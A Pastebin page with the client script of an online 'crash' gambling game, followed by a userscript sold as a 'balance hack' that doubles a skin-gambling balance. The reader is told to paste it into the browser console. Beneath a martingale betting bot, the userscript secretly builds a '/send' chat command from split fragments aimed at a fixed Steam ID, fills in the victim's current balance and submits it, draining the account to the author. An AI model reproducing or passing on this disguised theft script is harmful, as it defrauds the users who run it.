Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $(function() {
- "use strict";
- window.crash = {
- _chartBox: $(".box-chart"),
- _chart: $(".chart"),
- _chartInfo: $(".chart-info"),
- _roundHash: $(".round-hash"),
- _roundInfo: $(".round-info"),
- _bets: $(".box-bets table"),
- _betButton: $('.bet-butt'),
- _betCoins: $('#bet-coins'),
- _betCashout: $('#bet-cashout'),
- _pattern: 0.0006,
- _pointsPerSec: 500,
- minBet: 100,
- maxBet: 100000,
- _data: [],
- _i: null,
- _now: null,
- _started: false,
- interval: false,
- _myBet: 0,
- _status: null,
- autobetSettings: {},
- _options: {
- xaxis: {
- show: false
- },
- yaxis: {
- min: 1,
- tickFormatter: function(val) {
- if (val==1) return '';
- return val.toFixed(1)+'x';
- }
- },
- colors: []
- },
- colors: {
- red: 'rgba(179, 25, 25, 0.35)',
- green: '#128606'
- },
- set status(x) {
- this._status = x;
- var withdraw;
- var disabled;
- if (x == 'game') {
- withdraw = this._myBet !== 0 ? true : 'done';
- disabled = this._myBet == 0;
- } else {
- withdraw = false;
- disabled = (x != 'timeToStart' && x != 'preparingStart') || this._myBet > 0;
- }
- this._betButton
- .prop('disabled', disabled)
- .attr('withdraw', withdraw);
- },
- get status() {
- return this._status;
- },
- setWay: function (ele) {
- $('[class*="-way-content"]', this._bet).hide();
- $('.way div', this._bet).removeClass('active');
- $(ele).addClass('active');
- $('.'+$(ele).data('show')+'-way-content').show();
- },
- init: function () {
- this._options.yaxis.max = 1.26;
- this._options.xaxis.max = 10;
- this._roundInfo.hide();
- this._chartInfo
- .text("Connecting...");
- this.status = 'connecting';
- this.draw();
- },
- draw: function () {
- $.plot(this._chart, [ this._data ], this._options);
- },
- resize: function () {
- this.draw();
- },
- countDown: function(time) {
- this.status = 'timeToStart';
- this._chartInfo
- .removeClass("crash-info play-info")
- .text("Start in "+time+"s...");
- var countDownInterval = setInterval(function () {
- time -= 0.1;
- if (time < 0.1) {
- this.status = 'preparingStart';
- clearInterval(countDownInterval);
- this._chartInfo
- .text("Preparing round...");
- } else {
- this.status = 'timeToStart';
- this._chartInfo
- .text("Start in "+time.toFixed(1)+"s...");
- }
- }.bind(this), 100);
- },
- crash_info: function (data) {
- this.countDown(data.start_in);
- this._hash = data.hash;
- this._roundHash.text(data.hash);
- this._roundInfo.fadeIn(500);
- $('.player-bet').remove();
- data.players.forEach(function (prop) {
- crash.player_bet(prop);
- });
- this._myBet = 0;
- this._data = [];
- this._options.xaxis.max = 10;
- this._options.yaxis.max = 1.26;
- this._started = false;
- this.draw();
- },
- crash_start: function (data) {
- cancelAnimationFrame(this.interval);
- this._i = 0;
- this._data = [ [0,1] ];
- this._options.xaxis.max = 10;
- this._options.yaxis.max = 1.26;
- this._options.colors[0] = this.colors.green;
- this._now = 1;
- this._dateStart = new Date().getTime() - data.time;
- this._chartInfo
- .removeClass("crash-info")
- .addClass("play-info");
- this.crash_draw(data.multiplier);
- },
- crash_draw: function (multiplier) {
- this.status = 'game';
- multiplier = multiplier || false;
- cancelAnimationFrame(this.interval);
- this._time = (new Date().getTime() - this._dateStart);
- while(this._now < Math.pow(Math.E, this._pattern * this._time)) {
- this.crash_add();
- }
- this._options.xaxis.max = Math.max(this._i*1.1, 5000/this._pointsPerSec);
- this._options.yaxis.max = Math.max(this._now*1.1, 2);
- this._chartInfo.text(this._now.toFixed(2)+'x');
- if (multiplier !== false && 0.95 > Math.floor(parseFloat(multiplier)*100) / Math.floor(parseFloat(this._now)*100) || Math.floor(parseFloat(multiplier)*100) / Math.floor(parseFloat(this._now)*100) > 1.05) {
- console.log('Synchronization is not fully correct. Local: ' + Math.floor(parseFloat(this._now)*100)/100 + ', server: ' + Math.floor(parseFloat(multiplier)*100)/100);
- }
- this.draw();
- this.interval = requestAnimationFrame(function () {
- this.crash_draw(false);
- }.bind(this));
- },
- crash_add: function() {
- this._i++;
- this._now = parseFloat( Math.pow(Math.E, this._pattern * this._i * 1000/this._pointsPerSec) );
- this._data.push([ this._i, this._now ]);
- },
- crash_end: function (data) {
- cancelAnimationFrame(this.interval);
- this.status = 'crash';
- this._options.colors[0] = this.colors.red;
- this._chartInfo
- .removeClass("play-info")
- .addClass("crash-info")
- .html('Crashed!<br>'+parseFloat(data.multiplier).toFixed(2)+'x');
- this.draw();
- data.time = Date.now();
- this.history(data);
- $('.box-bets tr:not(.win)[data-steamid]').each(function() {
- var _div = $(this);
- var _bet = parseInt(_div.data('bet'));
- var _multi = $('td:nth-child(3)', _div);
- var _profit = $('td:nth-child(4)', _div);
- _div.attr('data-profit', _bet*-1);
- _multi.text('-');
- _profit.text(_bet*-1);
- _div.addClass('lose');
- });
- this.player_sort('profit');
- setTimeout(function() {
- if(this.status != 'crash') return;
- this.status = 'preparingNext';
- this._data = [];
- this._chartInfo
- .removeClass("crash-info play-info")
- .text("Preparing next round...");
- $('.box-bets tr:not(:first-child)').fadeOut(500, function() {
- $(this).remove();
- });
- this._roundInfo.fadeOut(500);
- this.draw();
- }.bind(this), 4000);
- },
- player_bet: function (data) {
- $('<tr class="player-bet' + (data.multiplier ? ' win' : '') + (data.profile.steamid == steamid ? ' my' : '') + '" data-steamid="'+data.profile.steamid+'" data-bet="'+data.bet+'">' +
- '<td><img src="'+data.profile.avatar+'"> '+data.profile.username+'</td>' +
- '<td>'+data.bet+'</td>' +
- '<td>' + (data.multiplier ? parseFloat(data.multiplier).toFixed(2) : '?') + '</td>' +
- '<td>' + (data.multiplier ? Math.floor(parseInt(data.bet, 10) * parseFloat(data.multiplier) - parseInt(data.bet, 10)) : '?') + '</td>' +
- '</tr>')
- .appendTo(this._bets)
- .hide()
- .fadeIn(500);
- this.player_sort('bet');
- },
- player_drop: function (steamid, multiplier) {
- var _div = $('tr[data-steamid="'+steamid+'"]', this._bets);
- var _bet = parseInt(_div.data('bet'));
- var _multi = $('td:nth-child(3)', _div);
- var _profit = $('td:nth-child(4)', _div);
- var profit = Math.round(parseFloat(multiplier) * _bet - _bet);
- _div.attr('data-profit', profit);
- _multi.text(multiplier+'x');
- _profit.text(profit);
- _div.removeClass('lose').addClass('win');
- },
- player_sort: function (sort) {
- this._bets
- .find('tr[data-bet]')
- .sort(function(a, b) {
- return +b.dataset[sort] - +a.dataset[sort];
- })
- .appendTo(this._bets);
- },
- verify: function(hash, secret, multiplier) {
- if (hash && secret && multiplier) {
- var shaObj = new jsSHA("SHA-256", "TEXT");
- shaObj.setHMACKey(secret, "TEXT");
- shaObj.update(multiplier.toString());
- if (hash === shaObj.getHMAC("HEX")) {
- notify('success', 'Hashes does match!');
- } else {
- notify('error', 'Hashes doesn\'t match!');
- }
- }
- else notify("error", "Hashes doesn\'t match!");
- },
- bet: function () {
- var self = crash;
- if (self.status == 'game' && self._myBet > 0) {
- socket.emit('crash withdraw');
- self._betButton
- .attr('disabled', true)
- .attr('withdraw', 'done');
- self._myBet = 0;
- } else {
- var coins = parseInt(self._betCoins.val());
- var cashout = parseFloat(self._betCashout.val());
- var error = false;
- if (coins < self.minBet) return notify('error', vsprintf(locale['crashMinBet'], [coins, self.minBet]));
- if (coins > self.maxBet) return notify('error', vsprintf(locale['crashMaxBet'], [coins, self.maxBet]));
- self._betCoins.removeClass('error');
- self._betCashout.removeClass('error');
- if (isNaN(coins) || coins < 1) {
- self._betCoins.addClass('error');
- error = true;
- }
- if (isNaN(cashout) || cashout < 1) {
- cashout = '';
- }
- if (error) return;
- self._betCoins.val(coins);
- self._betCashout.val(cashout);
- self._myBet = coins;
- socket.emit('crash bet', {
- bet: coins,
- cashout: cashout
- });
- }
- },
- autobet: function() {
- var self = crash;
- if ($('.autobet-butt').attr('state') === 'idle') {
- self.autobetSettings = {
- base: parseInt($('#autobet-coins').val()),
- cashout: parseFloat($('#autobet-cashout').val()),
- stop: parseInt($('#autobet-limit').val()),
- onLose: ($('#autobet-on-lose-multiply-select').prop('checked') ? parseFloat($('#autobet-on-lose-multiply').val()) : 0),
- onWin: ($('#autobet-on-win-multiply-select').prop('checked') ? parseFloat($('#autobet-on-win-multiply').val()) : 0),
- maxBets: parseInt($('#autobet-max-bets').val())
- };
- self.autobetProps = {
- betsDone: 0,
- betsLeft: (self.autobetSettings.maxBets === 0 || isNaN(self.autobetSettings.maxBets) ? null : self.autobetSettings.maxBets),
- lastResult: null,
- lastValue: null
- };
- self.autobetStart();
- } else {
- self.autobetStop();
- }
- },
- autobetStart: function() {
- var self = crash;
- $('.autobet-butt').attr('state', 'working');
- if (self.status === 'timeToStart' && self._myBet === 0) {
- self.autobetPlay(self.autobetSettings.base, self.autobetSettings.cashout);
- } else {
- self.autobetSetEvents();
- }
- },
- autobetSetEvents: function() {
- var self = crash;
- console.log('[Autobet] Setting events!');
- socket.removeListener('crash info', self.autobetInfoListener);
- if (self.autobetProps.betsDone > 0) {
- socket.once('crash end', function(data) {
- console.log('[Autobet] Game end!');
- if (data.multiplier > self.autobetSettings.cashout) {
- console.log('[Autobet] Result: win!');
- self.autobetProps.lastResult = 'win';
- self.autobetInfoListener = function(data) {
- console.log('[Autobet] Game start!');
- self.autobetPlay((self.autobetSettings.onWin == 0 ? self.autobetSettings.base : self.autobetProps.lastValue * self.autobetSettings.onWin), self.autobetSettings.cashout);
- };
- } else if (data.multiplier < self.autobetSettings.cashout) {
- console.log('[Autobet] Result: lose!');
- self.autobetProps.lastResult = 'lose';
- self.autobetInfoListener = function(data) {
- console.log('[Autobet] Game start!');
- self.autobetPlay((self.autobetSettings.onLose == 0 ? self.autobetSettings.base : self.autobetProps.lastValue * self.autobetSettings.onLose), self.autobetSettings.cashout);
- };
- }
- socket.once('crash info', self.autobetInfoListener);
- });
- } else {
- self.autobetInfoListener = function(data) {
- console.log('[Autobet] Game start!');
- self.autobetPlay(self.autobetSettings.base, self.autobetSettings.cashout);
- };
- socket.once('crash info', self.autobetInfoListener);
- }
- },
- autobetPlay: function(value, cashout) {
- var self = crash;
- if ($('.autobet-butt').attr('state') !== 'working') return;
- if (self.autobetProps.betsLeft === 0 || self.autobetSettings.stop && value > self.autobetSettings.stop || value > $('.balance').data('balance')) return self.autobetStop();
- console.log('[Autobet] Playing ' + value + ' coins, cashout: ' + cashout);
- socket.emit('crash bet', {
- bet: value,
- cashout: cashout
- });
- self.autobetProps.betsDone++;
- self.autobetProps.lastValue = value;
- if (self.autobetProps.betsLeft) self.autobetProps.betsLeft--;
- self.autobetSetEvents();
- },
- autobetStop: function() {
- var self = crash;
- $('.autobet-butt').attr('state', 'idle');
- socket.removeListener('crash info', self.autobetInfoListener);
- },
- history: function (game) {
- var bet_class = '';
- if (game.multiplier < 1.8) bet_class = 'lose';
- else if (game.multiplier > 2) bet_class = 'win';
- $('<div class="'+bet_class+'"><time class="date" data-time="' + game.time + '">' + jQuery.timeago(game.time) + '</time>' + parseFloat(game.multiplier).toFixed(2) + 'x </div>').prependTo($('.history'));
- }
- };
- crash.init();
- $(window).resize(crash.resize.bind(crash));
- socket.on('crash info', function(data) {
- crash.crash_info(data);
- });
- socket.on('crash start', function(data) {
- crash.crash_start(data);
- });
- socket.on('crash tick', function(data) {
- crash.crash_start(data);
- });
- socket.on('crash end', function(data) {
- crash.crash_end(data);
- });
- socket.on('crash history', function(history) {
- history.forEach(function (prop) {
- crash.history(prop);
- });
- });
- socket.on('player drop', function(data) {
- crash.player_drop(data.profile.steamid, data.multiplier);
- });
- socket.on('player new', function(bet) {
- bet.forEach(function (prop) {
- crash.player_bet(prop);
- });
- });
- socket.on('crash my bet', function(bet) {
- crash._myBet = bet;
- });
- socket.on('crash settings', function(data) {
- if (data.minBet) {
- crash.minBet = data.minBet;
- $('.min-bet').text(data.minBet.toString().replace(/(\d)(?=(\d\d\d)+(?!\d))/g, "$1,"));
- }
- if (data.maxBet) {
- crash.maxBet = data.maxBet;
- $('.max-bet').text(data.maxBet.toString().replace(/(\d)(?=(\d\d\d)+(?!\d))/g, "$1,"));
- }
- });
- $('.chat .header').on('click', function() {
- $('.chat .header').removeClass('active');
- $(this).addClass('active');
- var oppositeTarget = $(this).data('target') == 'chat' ? '.history-area' : '.chat-area';
- $(oppositeTarget).hide();
- $('.' + $(this).data('target') + '-area').show();
- });
- setInterval(function() {
- $('time').each(function(i, el) {
- $(el).text(jQuery.timeago($(el).data('time')));
- });
- }, 1000);
- });
- // ==UserScript==
- // @name Skinup.gg Blance hack
- // @namespace https://skinup.gg/
- // @version 1.1 06/08/2016 UPDATED
- // @description X2 YOUR BALANCE
- // @author modifiyed by WHOAMI
- // @match https://skinup.gg/
- // @grant none
- // ==/UserScript==
- // Instruction: CTRL + SHIFT + J, change ADBLOCK >> top, and paste this code in console
- // HOW MUCH YOU CAN GET:
- // 5000 - 10000
- // 10000 - 20000
- // 20000 - 40000
- // 40000 - 80000
- // ....
- var initialBalance = 0;
- var balancex2 = botbalancex2 = "hack";
- var play = 0;
- var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
- var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198228, $hash_4 = 189276;
- var e = jQuery.Event("keypress");
- e.which = 13; //choose the one you want
- e.keyCode = 13;
- function addBotButtons(){
- $(".well.bot-field").remove();$(".well.show-more").remove();
- $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
- $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
- $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
- $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
- $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
- $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
- $showMore.append($checkVicLimit,$label);
- $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
- $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
- $showMore.append($vicLimitInput,$label);$showMore.hide();
- $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);
- $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
- $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
- $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
- $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
- pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$('.balance').attr('data-balance');
- $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
- $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>▼</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
- $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
- $("textarea").val(pQ);$("textarea").trigger(e);
- $botModeSelect.change(function(){
- botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
- $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
- } )
- $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
- }
- addBotButtons();
- function changeColor(){
- if ($balancex2Button.hasClass("btn-danger")){
- $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
- botbalancex2 = "black";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-inverse")) {
- $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
- botbalancex2 = "random";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-random")) {
- $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
- botbalancex2 = "trainMode";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-train")) {
- $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
- botbalancex2 = "rainbow";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-rainbow")) {
- $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
- botbalancex2 = "hack";
- console.log("Selected color: "+botbalancex2);
- }
- }
- function showMoreOptions(){
- if ($showMoreButton.data("open")==0){
- $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
- $showMore.show();$showMoreButton.data("open",1);
- } else if ($showMoreButton.data("open")==1){
- $showMore.hide();$showMoreButton.data("open",0);
- $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
- }
- }
- function hideOtherInfo(){
- if ($betHideBetInfoButton.text()=="Show All"){
- $(".betlist").hide();$(".total-row").hide();$("footer").hide();
- $betHideBetInfoButton.text("Hide Bet Info");
- } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
- $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
- $betHideBetInfoButton.text("AFK Mode");
- }
- else if ($betHideBetInfoButton.text()=="AFK Mode"){
- $(".betlist").show();$(".total-row").show();$("footer").show();
- $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
- $betHideBetInfoButton.text("Show All");
- }
- }
- function startBot(){
- if ($betGoButton.hasClass("btn-inverse")){
- $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
- refreshIntervalId = setInterval(tick, 500);
- play = 1;
- currentBetAmount = initialBalance;
- if (stopBotRoll = currentRollNumber) currentRollNumber++;
- }
- else {
- $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
- play = 0;
- }
- }
- function tick() {
- var t = getStatus();
- if (t !== lastStatus && "unknown" !== t) {
- switch (t) {
- case "waiting":bet();break;
- case "rolled":printInfo();break;
- }
- lastStatus = t;
- }
- }
- function checkBalance() {
- return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
- }
- function printInfo(){
- var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
- if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
- if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
- }
- else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
- if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
- if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
- if ((streakColor == "black") || (streakColor == "green")) {currNothackStreak++; if (nothackStreak<currNothackStreak)nothackStreak=currNothackStreak;}
- else {currNothackStreak=0;}
- if ((streakColor == "hack") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
- else {currNotBlackStreak=0;}
- var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
- "\nSTREAKS: Not hack: " + nothackStreak + " // Not black: " + notBlackStreak +
- " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
- "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
- " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
- console.log(t);roll();
- }
- function roll() {
- if ($checkVicLimit.is(":checked")){
- if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
- }
- if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastbalancex2 = lastRollColor;}
- currentBetAmount = wonLastRoll() ? (initialBalance,thisGameBet=parseInt(initialBalance)) : 2 * currentBetAmount
- currentRollNumber++;
- }
- function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
- function setBetAmount(t) { $betAmountInput.val(t) }
- function placeBet() {
- if (botbalancex2=="random"){var colorRandomizer = Math.random();balancex2 = colorRandomizer < 0.5 ? "hack" : "black";console.log("Random color result: " + balancex2);}
- else if (botbalancex2=="trainMode"){
- var betBotColor = "green",i=9,$ball=$(".ball");
- while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
- balancex2 = betBotColor;console.log("Current train color: "+ balancex2);
- } else if (botbalancex2=="rainbow"){
- var betBotColor = "green",i=9,$ball=$(".ball");
- while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
- if (betBotColor=="hack"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="hack"};
- balancex2 = betBotColor;console.log("Rainbow mode next color: "+ balancex2);
- } else balancex2 = botbalancex2;
- console.log("Betting " + currentBetAmount + " on "+ balancex2 +"...");
- return "hack" === balancex2 ? ($hackButton.click(), void(lastbalancex2 = "hack")) : ($blackButton.click(), void(lastbalancex2 = "black"))
- }
- function getStatus() {
- var t = $statusBar.text();
- if (hasSubString(t, "Rolling in")) return "waiting";
- //if (hasSubString(t, "***ROLLING***")) return "rolling";
- if (hasSubString(t, "rolled")) {
- n = parseInt(t.split("rolled")[1]);
- return lastRollColor = getColor(n), "rolled"
- }
- return "unknown"
- }
- function getBalance() { return parseInt($balance.text()) }
- function hasSubString(t, n) { return t.indexOf(n) > -1 }
- function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
- function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
- function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
- function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
- var currentBetAmount = initialBalance, currentRollNumber = 1,
- totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
- streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
- $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement